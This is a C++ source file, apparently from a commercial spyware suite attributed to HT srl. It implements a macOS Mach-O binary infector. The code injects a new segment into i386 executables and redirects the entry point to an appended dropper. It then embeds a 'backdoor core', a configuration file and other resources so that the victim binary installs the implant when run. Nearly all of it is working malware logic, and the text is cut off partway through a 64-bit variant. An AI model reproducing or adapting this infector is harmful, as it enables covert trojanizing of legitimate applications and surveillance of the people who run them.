RCSMacDropper/RCSMacInfector.cpp
/*
* RCSMac Infector
* - Check if the input file is a FAT binary
* - If Yes Unpack every single ARCH
* - Rebuild a FAT binary with all the original archs and while dealing with the
* i386 arch:
* - Inject a new LC_SEGMENT right after the __LINKEDIT segment so that we
* won't touch __DATA vmaddr (this is because __PAGEZERO will always be 0x1000
* big, by default from gcc. One can also specify a different size at compile time)
* - Cut sizeof (segment_command) while copying back the _rest_ of the file
* (after LC_COMMAND(s)) since we've added a new SEGMENT. In this way we're
* gonna cut 0s used for padding and the alignment won't be broken.
* - Append our data padded to 0x1000 (Page Boundary) and put our crt start()
* routine (standard one created by gcc) as the entryPoint routine which calls
* our real main() [secondStageLoader]. There's a problem in having the start
* routine different than the one dyld is expecting since it won't initialize
* in that case the entire environment memory. See ImageLoaderMachO.cpp:2661
* - This must be done in the same architecture and not at the end of the file:
* | FAT_HEADER |
* | FAT_ARCH i386| <--- change arch size in order to include our files
* | ARCH i386 SEGMENTS |
* | INJECTED SEGMENT |
* | FAT_ARCH OTHER |
* | ARCH OTHER SEGMENTS|
*
* Created by Alfredo 'revenge' Pesoli on 14/07/2009
* Win32 porting by Massimo Chiodini on 02/11/2009
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#ifdef __APPLE__
#include <unistd.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#ifdef __APPLE__
#include <sys/mman.h>
#else
#include <io.h>
#endif
#include "RCSMacCommon.h"
#include "RCSMacInfector.h"
#include "RCSMacDropper.h"
#define INJECTED_SEGMENT "__CTOR_STUBS"
//#define DEBUG
//#define DEBUG_VERBOSE
//extern void dropperStart ();
//extern void labelTest ();
//extern void firstStageDropper ();
//extern void secondStageDropper ();
//extern void dropperEnd ();
//static unsigned int paddedPagezeroVASize = 0;
#define ENTRY_POINT ((byte *)secondStageDropper - (byte *)dropperStart)
#define DROPPER_CODE_SIZE ((byte *)dropperEnd - (byte *)dropperStart)
#define FIRST_STAGE_CODE_SIZE ((byte *)firstStageDropper - (byte *)labelTest)
uint32_t gShiftSize = 0;
uint32_t gOutSize = 0;
uint32_t getBinaryEP_32 (byte *machoBase)
{
struct mach_header *m_header;
struct load_command *l_command;
unsigned int i;
unsigned int offset, entryPoint;
m_header =(struct mach_header *) machoBase;
offset = sizeof (struct mach_header);
for (i = 0; i < m_header->ncmds; i++)
{
l_command = (struct load_command *)((byte *)machoBase + offset);
if (l_command->cmd == LC_THREAD
|| l_command->cmd == LC_UNIXTHREAD)
{
struct thread_command *th_command;
th_command = (thread_command *) allocate (sizeof (struct thread_command));
memcpy (th_command, machoBase + offset, sizeof (struct thread_command));
entryPoint = th_command->state.eip;
free (th_command);
return entryPoint;
}
offset += l_command->cmdsize;
}
return -1;
}
#if 0
uint64_t getBinaryEP_64 (byte *machoBase)
{
struct mach_header_64 *m_header;
struct load_command *l_command;
unsigned int i;
unsigned int offset;
uint64_t entryPoint;
m_header =(struct mach_header_64 *) machoBase;
offset = sizeof (struct mach_header_64);
for (i = 0; i < m_header->ncmds; i++)
{
l_command = (struct load_command *)((byte *)machoBase + offset);
if (l_command->cmd == LC_THREAD
|| l_command->cmd == LC_UNIXTHREAD)
{
struct thread_command_64 *th_command;
th_command = (struct thread_command_64 *) allocate (sizeof (struct thread_command_64));
memcpy (th_command, machoBase + offset, sizeof (struct thread_command_64));
entryPoint = th_command->state.rip;
free (th_command);
return entryPoint;
}
offset += l_command->cmdsize;
}
return -1;
}
#endif
int
setBinaryEP_32 (byte *machoBase, uint32_t anEntryPoint)
{
struct mach_header *m_header;
struct load_command *l_command;
unsigned int i;
unsigned int offset;
m_header = (struct mach_header *) machoBase;
offset = sizeof (struct mach_header);
for (i = 0; i < m_header->ncmds; i++)
{
l_command = (struct load_command *)(machoBase + offset);
if (l_command->cmd == LC_THREAD
|| l_command->cmd == LC_UNIXTHREAD)
{
#ifdef DEBUG
printf("Found LC_THREAD for setting ep\n");
#endif
struct thread_command *th_command;
th_command = (thread_command *) allocate (sizeof (struct thread_command));
memcpy (th_command, machoBase + offset, sizeof (struct thread_command));
th_command->state.eip = anEntryPoint;
memcpy (machoBase + offset, th_command, sizeof (struct thread_command));
free (th_command);
return 0;
}
offset += l_command->cmdsize;
}
return -1;
}
#if 0
int
setBinaryEP_64 (byte *machoBase, uint64_t anEntryPoint)
{
struct mach_header_64 *m_header;
struct load_command *l_command;
unsigned int i;
unsigned int offset;
m_header = (struct mach_header_64 *) machoBase;
offset = sizeof (struct mach_header_64);
for (i = 0; i < m_header->ncmds; i++)
{
l_command = (struct load_command *)(machoBase + offset);
if (l_command->cmd == LC_THREAD
|| l_command->cmd == LC_UNIXTHREAD)
{
struct thread_command_64 *th_command;
th_command = (thread_command_64 *) allocate (sizeof (struct thread_command_64));
memcpy (th_command, machoBase + offset, sizeof (struct thread_command_64));
th_command->state.rip = anEntryPoint;
memcpy (machoBase + offset, th_command, sizeof (struct thread_command_64));
free (th_command);
return 0;
}
offset += l_command->cmdsize;
}
return -1;
}
#endif
int appendData (char *inputFilePointer,
char *outputFilePointer,
int inArchOffset,
int outArchOffset,
int padding,
uint32_t segmentVMAddr,
bool is64bitArch)
{
char *tempFilePointer = NULL;
const char *_strings[] = { "HOME", "%s/%s/%s", "%s/%s", "/%s", "Library", "Preferences", "" };
uint32_t originalEP = 0;
int tempFileSize = 0;
#ifdef WIN32
HANDLE tempFD, tempFDMap;
#else
int tempFD = 0;
#endif
int z = 0;
int offset = padding;
infectionHeader infection;
stringTable strings;
resourceHeader resource;
//if (is64bitArch)
// originalEP = getBinaryEP_64 ((byte *)(inputFilePointer + inArchOffset));
//else
originalEP = getBinaryEP_32 ((byte *)(inputFilePointer + inArchOffset));
#ifdef DEBUG
printf ("Original EP: %x\n", originalEP);
#endif
char *coreFileName = basename(coreFilePath);
char *confFileName = basename(confFilePath);
//char *kext32FileName = basename(kext32FilePath);
//char *kext64FileName = basename(kext64FilePath);
//char *inputManagerFileName = basename(inputManagerFilePath);
//char *XPCFileName = basename(XPCFilePath);
//char *iconFileName = basename(iconFilePath);
char *bitmapFileName = NULL;
if(strcmp(bitmapFilePath, "null"))
bitmapFileName = "infected.bmp";
char *inputFileName = basename(inputFilePath);
char *outputFileName = basename(outputFilePath);
//
// Set the infection header
//
memset(&infection, 0, sizeof (infectionHeader));
infection.numberOfResources = gNumberOfResources;
infection.numberOfStrings = gNumStrings;
infection.dropperSize = (int)DROPPER_CODE_SIZE;
infection.originalEP = originalEP; //+ paddedPagezeroVASize - PAGE_ALIGNMENT;
memcpy(outputFilePointer + offset, &infection, sizeof (infectionHeader));
offset += sizeof(infectionHeader);
//
// Set the string table
//
for (z = 0; z < gNumStrings; z++)
{
memset(&strings, 0, sizeof (stringTable));
#ifdef WIN32
printf("_string_%d %s\n", z, _strings[z]);
strncpy_s(strings.value, sizeof(strings.value), _strings[z], _TRUNCATE);
#else
strncpy (strings.value, _strings[z], sizeof (strings.value));
#endif
strings.type = STRING_DATA;
memcpy(outputFilePointer + offset, &strings, sizeof (stringTable));
offset += sizeof(stringTable);
}
// Set the new EP + 4 (number of Resources)
if (is64bitArch)
{
#if 0
if (setBinaryEP_64 ((byte *)(outputFilePointer + outArchOffset),
segmentVMAddr
+ sizeof (infectionHeader)
+ sizeof (stringTable) * gNumStrings) == -1)
{
printf ("[ee] An error occurred while setting the new EP\n");
exit (1);
}
#endif
}
else
{
if (setBinaryEP_32((byte *)(outputFilePointer + outArchOffset),
(uint32_t)segmentVMAddr
+ sizeof (infectionHeader)
+ sizeof (stringTable) * gNumStrings) == -1)
{
printf ("[ee] An error occurred while setting the new EP\n");
exit (1);
}
}
//
// Now append the crt start routine (__malloc_initialize error fix)
//
memcpy(outputFilePointer + offset, crtStart, sizeof (crtStart));
offset += sizeof (crtStart);
unsigned int ep = (unsigned int)ENTRY_POINT;
#ifdef DEBUG_VERBOSE
printf ("ep: %x\n", ep);
#endif
memmove(outputFilePointer + offset - 1, &ep, 3);
offset += 3;
//
// Now append our loader
//
memcpy(outputFilePointer + offset,
dropperStart,
(_mSize_t)DROPPER_CODE_SIZE);
offset += (int)DROPPER_CODE_SIZE;
//
// Now resourceHeader with all the files which needs to be dropped
//
printf("[ii] Dropper injected (%d)\n", (int)DROPPER_CODE_SIZE);
//
// CORE
//
printf("[ii] Core %s, installpath: %s\n", coreFileName, installPath);
resource.type = RESOURCE_CORE;
memset(resource.name, 0, sizeof(resource.name));
memcpy(resource.name, coreFileName, min(sizeof(resource.name), strlen(coreFileName)));
resource.size = gCoreFileSize;
memset(resource.path, 0, sizeof(resource.path));
memcpy(resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));
memcpy(outputFilePointer + offset,
&resource,
sizeof(resourceHeader));
offset += sizeof(resourceHeader);
#ifdef WIN32
if ((tempFilePointer = mapFile(coreFilePath, &tempFileSize,
&tempFD, &tempFDMap, 0)) == NULL)
#else
if ((tempFilePointer = mapFile(coreFilePath, &tempFileSize,
&tempFD, 0)) == NULL)
#endif
{
printf("[ee] Error while mmapping the backdoor core file\n");
exit (1);
}
memcpy(outputFilePointer + offset,
tempFilePointer,
gCoreFileSize);
offset += gCoreFileSize;
tempFileSize = 0;
#ifdef WIN32
if (tempFilePointer != NULL)
UnmapViewOfFile(tempFilePointer);
CloseHandle(tempFDMap);
CloseHandle(tempFD);
#else
close (tempFD);
tempFilePointer = NULL;
#endif
//
// CONF
//
printf("[ii] Conf %s\n", confFileName);
resource.type = RESOURCE_CONF;
memset(resource.name, 0, sizeof(resource.name));
memcpy(resource.name, confFileName, min(sizeof(resource.name), strlen(confFileName)));
resource.size = gConfFileSize;
memset(resource.path, 0, sizeof(resource.path));
memcpy(resource.path, installPath, min(sizeof(resource.path),strlen(installPath)));
memcpy(outputFilePointer + offset,
&resource,
sizeof(resourceHeader));
offset += sizeof(resourceHeader);
#ifdef WIN32
if ((tempFilePointer = mapFile(confFilePath, &tempFileSize,
&tempFD, &tempFDMap, 0)) == NULL)
#else
if ((tempFilePointer = mapFile(confFilePath, &tempFileSize,
&tempFD, 0)) == NULL)
#endif
{
printf("[ee] Error while mmapping the configuration file\n");
exit(1);
}
memcpy(outputFilePointer + offset,
tempFilePointer,
gConfFileSize);
offset += gConfFileSize;
tempFileSize = 0;
#ifdef WIN32
if(tempFilePointer != NULL)
UnmapViewOfFile(tempFilePointer);
CloseHandle(tempFDMap);
CloseHandle(tempFD);
#else
close(tempFD);
tempFilePointer = NULL;
#endif
/*
//
// KEXT32
//
printf("[ii] Kext32 %s\n", kext32FileName);
resource.type = RESOURCE_KEXT;
memset(resource.name, 0, sizeof(resource.name));
memcpy(resource.name, kext32FileName, min(sizeof(resource.name), strlen(kext32FileName)));
resource.size = gKext32FileSize;
memset(resource.path, 0, sizeof(resource.path));
memcpy(resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));
#ifdef DEBUG
printf ("offset: %x\n", offset);
#endif
memcpy(outputFilePointer + offset,
&resource,
sizeof(resourceHeader));
offset += sizeof(resourceHeader);
#ifdef WIN32
if ((tempFilePointer = mapFile(kext32FilePath, &tempFileSize,
&tempFD, &tempFDMap, 0)) == NULL)
#else
if ((tempFilePointer = mapFile(kext32FilePath, &tempFileSize,
&tempFD, 0)) == NULL)
#endif
{
printf("[ee] Error while mmapping the configuration file\n");
exit(1);
}
memcpy(outputFilePointer + offset,
tempFilePointer,
gKext32FileSize);
offset += gKext32FileSize;
tempFileSize = 0;
#ifdef WIN32
if (tempFilePointer != NULL)
UnmapViewOfFile(tempFilePointer);
CloseHandle(tempFDMap);
CloseHandle(tempFD);
#else
close(tempFD);
tempFilePointer = NULL;
#endif
//
// KEXT64
//
printf("[ii] Kext64 %s\n", kext64FileName);
resource.type = RESOURCE_KEXT;
memset(resource.name, 0, sizeof(resource.name));
memcpy(resource.name, kext64FileName, min(sizeof(resource.name), strlen(kext64FileName)));
resource.size = gKext64FileSize;
memset(resource.path, 0, sizeof(resource.path));
memcpy(resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));
#ifdef DEBUG
printf ("offset: %x\n", offset);
#endif
memcpy(outputFilePointer + offset,
&resource,
sizeof (resourceHeader));
offset += sizeof(resourceHeader);
#ifdef WIN32
if ((tempFilePointer = mapFile (kext64FilePath, &tempFileSize,
&tempFD, &tempFDMap, 0)) == NULL)
#else
if ((tempFilePointer = mapFile (kext64FilePath, &tempFileSize,
&tempFD, 0)) == NULL)
#endif
{
printf("[ee] Error while mmapping the configuration file\n");
exit (1);
}
memcpy (outputFilePointer + offset,
tempFilePointer,
gKext64FileSize);
offset += gKext64FileSize;
tempFileSize = 0;
#ifdef WIN32
if (tempFilePointer != NULL)
UnmapViewOfFile (tempFilePointer);
CloseHandle (tempFDMap);
CloseHandle (tempFD);
#else
close (tempFD);
tempFilePointer = NULL;
#endif
*/
/*
//
// INPUT MANAGER
//
printf("[ii] InputManager %s, size: %d\n", inputManagerFileName, gInputManagerFileSize);
resource.type = RESOURCE_IN_MANAGER;
memset (resource.name, 0, sizeof (resource.name));
memcpy (resource.name, inputManagerFileName, min(sizeof (resource.name), strlen(inputManagerFileName)));
resource.size = gInputManagerFileSize;
memset (resource.path, 0, sizeof (resource.path));
memcpy (resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));
memcpy (outputFilePointer + offset,
&resource,
sizeof (resourceHeader));
offset += sizeof (resourceHeader);
#ifdef WIN32
if ((tempFilePointer = mapFile (inputManagerFilePath, &tempFileSize,
&tempFD, &tempFDMap, 0)) == NULL)
#else
if ((tempFilePointer = mapFile (inputManagerFilePath, &tempFileSize,
&tempFD, 0)) == NULL)
#endif
{
printf("[ee] Error while mmapping the input manager file\n");
exit (1);
}
memcpy (outputFilePointer + offset,
tempFilePointer,
gInputManagerFileSize);
offset += gInputManagerFileSize;
tempFileSize = 0;
#ifdef WIN32
if(tempFilePointer != NULL)
UnmapViewOfFile(tempFilePointer);
CloseHandle(tempFDMap);
CloseHandle(tempFD);
#else
close (tempFD);
#endif
*/
/*
//
// XPC service
//
printf("[ii] XPC %s\n", XPCFileName);
resource.type = RESOURCE_IN_MANAGER;
memset (resource.name, 0, sizeof (resource.name));
memcpy (resource.name, XPCFileName, sizeof (resource.name));
resource.size = gXPCFileSize;
memset (resource.path, 0, sizeof (resource.path));
memcpy (resource.path, installPath, sizeof (resource.path));
memcpy (outputFilePointer + offset,
&resource,
sizeof (resourceHeader));
offset += sizeof (resourceHeader);
#ifdef WIN32
if ((tempFilePointer = mapFile (XPCFilePath, &tempFileSize,
&tempFD, &tempFDMap, 0)) == NULL)
#else
if ((tempFilePointer = mapFile (XPCFilePath, &tempFileSize,
&tempFD, 0)) == NULL)
#endif
{
printf("[ee] Error while mmapping the XPC service file\n");
exit (1);
}
memcpy (outputFilePointer + offset,
tempFilePointer,
gXPCFileSize);
offset += gXPCFileSize;
tempFileSize = 0;
#ifdef WIN32
if(tempFilePointer != NULL)
UnmapViewOfFile(tempFilePointer);
CloseHandle(tempFDMap);
CloseHandle(tempFD);
#else
close (tempFD);
#endif
*/
/*
//
// ICON
//
printf("[ii] Icon %s\n", iconFileName);
resource.type = RESOURCE_ICON;
memset (resource.name, 0, sizeof(resource.name));
memcpy (resource.name, iconFileName, min(sizeof(resource.name), strlen(iconFileName)));
resource.size = gIconFileSize;
memset (resource.path, 0, sizeof(resource.path));
memcpy (resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));
memcpy (outputFilePointer + offset,
&resource,
sizeof (resourceHeader));
offset += sizeof (resourceHeader);
#ifdef WIN32
if ((tempFilePointer = mapFile (iconFilePath, &tempFileSize,
&tempFD, &tempFDMap, 0)) == NULL)
#else
if ((tempFilePointer = mapFile (iconFilePath, &tempFileSize,
&tempFD, 0)) == NULL)
#endif
{
printf("[ee] Error while mmapping the configuration file\n");
exit (1);
}
memcpy (outputFilePointer + offset,
tempFilePointer,
gIconFileSize);
offset += gIconFileSize;
tempFileSize = 0;
#ifdef WIN32
if(tempFilePointer != NULL)
UnmapViewOfFile(tempFilePointer);
CloseHandle(tempFDMap);
CloseHandle(tempFD);
#else
close (tempFD);
tempFilePointer = NULL;
#endif
*/
if(bitmapFileName != NULL)
{
// Bitmap file for demo
printf("[ii] Bitmap %s\n", bitmapFileName);
resource.type = RESOURCE_BITMAP;
memset (resource.name, 0, sizeof(resource.name));
memcpy (resource.name, bitmapFileName, min(sizeof(resource.name), strlen(bitmapFileName)));
resource.size = gBitmapFileSize;
memset (resource.path, 0, sizeof(resource.path));
memcpy (resource.path, installPath, min(sizeof(resource.path), strlen(installPath)));
memcpy (outputFilePointer + offset,
&resource,
sizeof (resourceHeader));
offset += sizeof (resourceHeader);
#ifdef WIN32
if ((tempFilePointer = mapFile (bitmapFilePath, &tempFileSize,
&tempFD, &tempFDMap, 0)) == NULL)
#else
if ((tempFilePointer = mapFile (bitmapFilePath, &tempFileSize,
&tempFD, 0)) == NULL)
#endif
{
printf("[ee] Error while mmapping the bitmap file\n");
exit (1);
}
memcpy (outputFilePointer + offset,
tempFilePointer,
gBitmapFileSize);
offset += gBitmapFileSize;
tempFileSize = 0;
#ifdef WIN32
if(tempFilePointer != NULL)
UnmapViewOfFile(tempFilePointer);
CloseHandle(tempFDMap);
CloseHandle(tempFD);
#else
close (tempFD);
tempFilePointer = NULL;
#endif
}
return offset;
}
int infectSingleArch (char *inputFilePointer,
char *outputFilePointer,
int inOffsetToArch,
int outOffsetToArch,
int inputFileSize,
int outputFileSize)
{
struct mach_header *m_header;
struct load_command *l_command;
struct segment_command *seg_command;
unsigned int z;
unsigned int i;
unsigned int inputOffset = 0;
unsigned int outputOffset = 0;
unsigned int segVMAddr = 0;
int displacement = 0;
int padding = 0;
#ifdef DEBUG
printf("input offset: %d\n", inputOffset);
printf("inOffsetToArch: %d\n", inOffsetToArch);
printf("inputFileSize: %d\n", inputFileSize);
#endif
inputOffset += inOffsetToArch;
outputOffset += outOffsetToArch;
m_header = (struct mach_header *) allocate (sizeof (struct mach_header));
memcpy (m_header, inputFilePointer + inputOffset, sizeof (struct mach_header));
// TODO: Add check for cputype as well
if (m_header->filetype != MH_EXECUTE)
{
printf ("[ee] Unsupported file type (!= MH_EXECUTE)\n");
return kErrorFileNotSupported;
}
//m_header->sizeofcmds += sizeof (struct section);
// Increment header sizeofcmds since we're adding a new segment
m_header->sizeofcmds += sizeof (struct segment_command);
m_header->ncmds += 1;
memcpy (outputFilePointer + outputOffset, m_header, sizeof (struct mach_header));
// Calculate padding including loader code size
displacement = inputFileSize % PAGE_ALIGNMENT;
padding = PAGE_ALIGNMENT - displacement;
outputOffset += sizeof (struct mach_header);
inputOffset += sizeof (struct mach_header);
#ifdef DEBUG
printf ("[ii] Starting parsing load_commands\n");
#endif
for (i = 0; i < m_header->ncmds; i++)
{
l_command = (struct load_command *)(inputFilePointer + inputOffset);
#ifdef DEBUG_VERBOSE
printf ("loadCommand: %d (%x)\n", i, l_command->cmd);
#endif
switch (l_command->cmd)
{
case LC_THREAD:
case LC_UNIXTHREAD:
{
struct thread_command *th_command;
th_command = (thread_command *) allocate (sizeof (struct thread_command));
memcpy (th_command, inputFilePointer + inputOffset, sizeof (struct thread_command));
//th_command->state.eip += sizeof (struct section);
//th_command->state.eip = 0x8; // W00t
memcpy (outputFilePointer + outputOffset, th_command, sizeof (struct thread_command));
free (th_command);
inputOffset += sizeof (struct thread_command);
outputOffset += sizeof (struct thread_command);
break;
}
case LC_SEGMENT:
{
#ifdef DEBUG
printf ("LC_SEGMENT size: %d\n", (int)(sizeof (struct segment_command)));
#endif
seg_command = (segment_command *) allocate (sizeof (struct segment_command));
memcpy (seg_command, inputFilePointer + inputOffset, sizeof (struct segment_command));
inputOffset += sizeof (struct segment_command);
if (!strncmp (seg_command->segname, "__PAGEZERO",
strlen (seg_command->segname)))
{
#ifdef DEBUG
printf ("[ii] Found __PAGEZERO Segment\n");
#endif
//
// Update the segment within the new prot flags(EP) and size
//
//seg_command->cmdsize += sizeof (struct section);
/*
seg_command->fileoff = fileSize + padding;
//seg_command->filesize = outputFileSize;
seg_command->filesize = FIRST_STAGE_CODE_SIZE;
if (seg_command->filesize % PAGE_ALIGNMENT)
seg_command->filesize = ((seg_command->filesize + PAGE_ALIGNMENT)
& ~(PAGE_ALIGNMENT -1));
//seg_command->vmsize = paddedPagezeroVASize = outputFileSize; // PageBoundary padding 4K
seg_command->vmsize = seg_command->filesize;
seg_command->maxprot = 0x7;
seg_command->initprot = 0x5;
//seg_command->nsects += 0x1;
*/
// Copy back the segmentCommand
memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command));
outputOffset += sizeof (struct segment_command);
/*
//
// Create the new section
//
printf ("[ii] section size: %d\n", (int)(sizeof (struct section)));
sect = allocate (sizeof (struct section));
if (sect == NULL)
{
printf("[ee] Error while allocating the new section\n");
return kErrorMemoryAllocation;
}
strcpy (sect->sectname, INJECTED_SECTION_NAME);
strcpy (sect->segname, INJECTED_SEGMENT_NAME);
//sect->addr = stackSize;
sect->offset = fileSize + padding;
sect->size = outputFileSize; //TOP_STACK - stackSize; // size of the stack
sect->align = 0x2; // standard alignment
sect->flags = 0x80000000; // x flag
// Copy back the section
memcpy (outputFilePointer + outputOffset, sect, sizeof (struct section));
outputOffset += sizeof (struct section);
free (sect);
*/
}
else if (!strncmp (seg_command->segname, "__LINKEDIT",
strlen (seg_command->segname)))
{
#ifdef DEBUG
printf ("[ii] Found %s Segment\n", seg_command->segname);
#endif
memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command));
outputOffset += sizeof (struct segment_command);
//
// Now inject the new segment
//
struct segment_command *mySegment = (struct segment_command *) allocate (sizeof (struct segment_command));
mySegment->cmd = LC_SEGMENT;
mySegment->cmdsize = sizeof (struct segment_command);
#ifdef WIN32
strncpy_s(mySegment->segname, strlen(INJECTED_SEGMENT), INJECTED_SEGMENT, _TRUNCATE);
#else
strncpy (mySegment->segname, INJECTED_SEGMENT, strlen (INJECTED_SEGMENT));
#endif
mySegment->vmaddr = seg_command->vmaddr + seg_command->vmsize;
mySegment->vmsize = outputFileSize;
// XXX: Check this out if it's in|out
mySegment->fileoff = inputFileSize + padding - outOffsetToArch;
mySegment->filesize = outputFileSize;
mySegment->maxprot = 0x3;
mySegment->initprot = 0x5;
segVMAddr = mySegment->vmaddr;
#ifdef DEBUG
printf("Segment VMAddr: %d (0x%08x)\n)", segVMAddr, segVMAddr);
#endif
memcpy (outputFilePointer + outputOffset, mySegment, sizeof (struct segment_command));
outputOffset += sizeof (struct segment_command);
}
else
{
//
// Shift all the VM Addresses
//
//seg_command->vmaddr += paddedPagezeroVASize - PAGE_ALIGNMENT;
memcpy (outputFilePointer + outputOffset,
seg_command,
sizeof (struct segment_command));
outputOffset += sizeof (struct segment_command);
#ifdef DEBUG
printf ("[ii] Cycling for segment (%s) sections (%d)\n",
seg_command->segname, seg_command->nsects);
#endif
for (z = 0; z < seg_command->nsects; z++)
{
struct section *sect;
sect = (section *) allocate (sizeof (struct section));
if (sect == NULL)
{
printf("[ee] Error while allocating the new section\n");
return kErrorMemoryAllocation;
}
memcpy (sect, inputFilePointer + inputOffset, sizeof (struct section));
//sect->offset += sizeof (struct section);
//sect->addr += paddedPagezeroVASize - PAGE_ALIGNMENT;
memcpy (outputFilePointer + outputOffset,
sect,
sizeof (struct section));
free (sect);
inputOffset += sizeof (struct section);
outputOffset += sizeof (struct section);
}
}
free (seg_command);
break;
}
case LC_SYMTAB:
{
struct symtab_command *sy_command;
sy_command = (symtab_command *) allocate (sizeof (struct symtab_command));
memcpy (sy_command, inputFilePointer + inputOffset, sizeof (struct symtab_command));
//sy_command->symoff += sizeof (struct section);
//sy_command->stroff += sizeof (struct section);
memcpy (outputFilePointer + outputOffset, sy_command, sizeof (struct symtab_command));
free (sy_command);
inputOffset += sizeof (struct symtab_command);
outputOffset += sizeof (struct symtab_command);
break;
}
case LC_DYSYMTAB:
{
struct dysymtab_command *dysym_command;
dysym_command = (dysymtab_command *) allocate (sizeof (struct dysymtab_command));
memcpy (dysym_command, inputFilePointer + inputOffset, sizeof (struct dysymtab_command));
//dysym_command->indirectsymoff += sizeof (struct section);
memcpy (outputFilePointer + outputOffset, dysym_command, sizeof (struct dysymtab_command));
free (dysym_command);
inputOffset += sizeof (struct dysymtab_command);
outputOffset += sizeof (struct dysymtab_command);
break;
}
case LC_CODE_SIGNATURE:
case LC_SEGMENT_SPLIT_INFO:
{
struct linkedit_data_command *linkedit_command;
linkedit_command = (linkedit_data_command *) allocate (sizeof (struct linkedit_data_command));
memcpy (linkedit_command, inputFilePointer + inputOffset, sizeof (struct linkedit_data_command));
//linkedit_command->dataoff += sizeof (struct section);
memcpy (outputFilePointer + outputOffset, linkedit_command, sizeof (struct linkedit_data_command));
free (linkedit_command);
inputOffset += sizeof (struct linkedit_data_command);
outputOffset += sizeof (struct linkedit_data_command);
break;
}
default:
{
memcpy (outputFilePointer + outputOffset,
inputFilePointer + inputOffset,
l_command->cmdsize);
inputOffset += l_command->cmdsize;
outputOffset += l_command->cmdsize;
break;
}
}
}
#ifdef DEBUG
printf("[ii] inputFilePointer : 0x%08x\n", inputFilePointer);
printf("[ii] inputOffset : 0x%08x\n", inputOffset);
printf("[ii] inputFileSize : 0x%08x\n", inputFileSize);
printf("[ii] outputFilePointer: 0x%08x\n", outputFilePointer);
printf("[ii] outputOffset : 0x%08x\n", outputOffset);
printf("[ii] outputFileSize : 0x%08x\n", outputFileSize);
printf("[ii] inOffsetToArch : 0x%08x\n", inOffsetToArch);
printf("[ii] outOffsetToArch : 0x%08x\n", outOffsetToArch);
#endif
//
// Now the rest of the file (data), here we wanna skip sizeof segment_command
// in order to leave the file padded correctly for its TEXT segment
//
memcpy(outputFilePointer + outputOffset,
inputFilePointer + inputOffset + sizeof (struct segment_command),
inputFileSize - (inputOffset - inOffsetToArch) - sizeof (struct segment_command));
free (m_header);
printf ("[ii] LoadCommands copied successfully\n");
#ifdef DEBUG_VERBOSE
printf ("inputFilePointer: %x\n", inputFilePointer);
printf ("inputFilePointer: %x\n", *(unsigned long *)inputFilePointer);
printf ("[ii] inOffsetToArch : 0x%08x\n", inOffsetToArch);
printf ("[ii] outOffsetToArch : 0x%08x\n", outOffsetToArch);
printf ("inputFilePointer: %x\n", *(unsigned long *)(inputFilePointer + 0x1000));
printf ("inputSize + padding: %d\n", inputFileSize + padding);
#endif
if (appendData(inputFilePointer,
outputFilePointer,
inOffsetToArch,
outOffsetToArch,
inputFileSize + padding,
segVMAddr,
false) != kErrorGeneric)
return padding;
else
return kErrorGeneric;
}
#if 0
int infectSingleArch64 (char *inputFilePointer,
char *outputFilePointer,
int inOffsetToArch,
int outOffsetToArch,
int inputFileSize,
int outputFileSize)
{
struct mach_header_64 *m_header;
struct load_command *l_command;
struct segment_command_64 *seg_command;
unsigned int z;
unsigned int i;
uint32_t inputOffset = 0;
uint32_t outputOffset = 0;
uint32_t segVMAddr = 0;
int displacement = 0;
int padding = 0;
inputOffset += inOffsetToArch;
outputOffset += outOffsetToArch;
m_header = (struct mach_header_64 *) allocate (sizeof (struct mach_header_64));
memcpy(m_header, inputFilePointer + inputOffset, sizeof (struct mach_header_64));
// TODO: Add check for cputype as well
if (m_header->filetype != MH_EXECUTE)
{
printf ("[ee] Unsupported file type (!= MH_EXECUTE)\n");
return kErrorFileNotSupported;
}
//m_header->sizeofcmds += sizeof (struct section);
// Increment header sizeofcmds since we're adding a new segment
m_header->sizeofcmds += sizeof (struct segment_command_64);
m_header->ncmds += 1;
memcpy(outputFilePointer + outputOffset, m_header, sizeof (struct mach_header_64));
// Calculate padding including loader code size
displacement = inputFileSize % PAGE_ALIGNMENT;
padding = PAGE_ALIGNMENT - displacement;
outputOffset += sizeof (struct mach_header_64);
inputOffset += sizeof (struct mach_header_64);
#ifdef DEBUG
printf ("[ii] Starting parsing load_commands\n");
#endif
for (i = 0; i < m_header->ncmds; i++)
{
l_command = (struct load_command *)(inputFilePointer + inputOffset);
#ifdef DEBUG_VERBOSE
printf ("loadCommand: %d (%x)\n", i, l_command->cmd);
#endif
switch (l_command->cmd)
{
case LC_THREAD:
/*case LC_UNIXTHREAD:
{
struct thread_command *th_command;
th_command = (thread_command *) allocate (sizeof (struct thread_command));
memcpy (th_command, inputFilePointer + inputOffset, sizeof (struct thread_command));
//th_command->state.eip += sizeof (struct section);
//th_command->state.eip = 0x8; // W00t
memcpy (outputFilePointer + outputOffset, th_command, sizeof (struct thread_command_64));
free (th_command);
inputOffset += sizeof (struct thread_command);
outputOffset += sizeof (struct thread_command);
break;
}*/
case LC_SEGMENT:
{
#ifdef DEBUG
printf ("LC_SEGMENT size: %d\n", (int)(sizeof (struct segment_command_64)));
#endif
seg_command = (segment_command_64 *) allocate (sizeof (struct segment_command_64));
memcpy (seg_command, inputFilePointer + inputOffset, sizeof (struct segment_command_64));
inputOffset += sizeof (struct segment_command_64);
#ifdef DEBUG_VERBOSE
printf("segname: %s\n", seg_command->segname);
#endif
if (!strncmp (seg_command->segname, "__PAGEZERO",
strlen (seg_command->segname)))
{
#ifdef DEBUG
printf ("[ii] Found __PAGEZERO Segment\n");
#endif
//
// Update the segment within the new prot flags(EP) and size
//
//seg_command->cmdsize += sizeof (struct section);
/*
seg_command->fileoff = fileSize + padding;
//seg_command->filesize = outputFileSize;
seg_command->filesize = FIRST_STAGE_CODE_SIZE;
if (seg_command->filesize % PAGE_ALIGNMENT)
seg_command->filesize = ((seg_command->filesize + PAGE_ALIGNMENT)
& ~(PAGE_ALIGNMENT -1));
//seg_command->vmsize = paddedPagezeroVASize = outputFileSize; // PageBoundary padding 4K
seg_command->vmsize = seg_command->filesize;
seg_command->maxprot = 0x7;
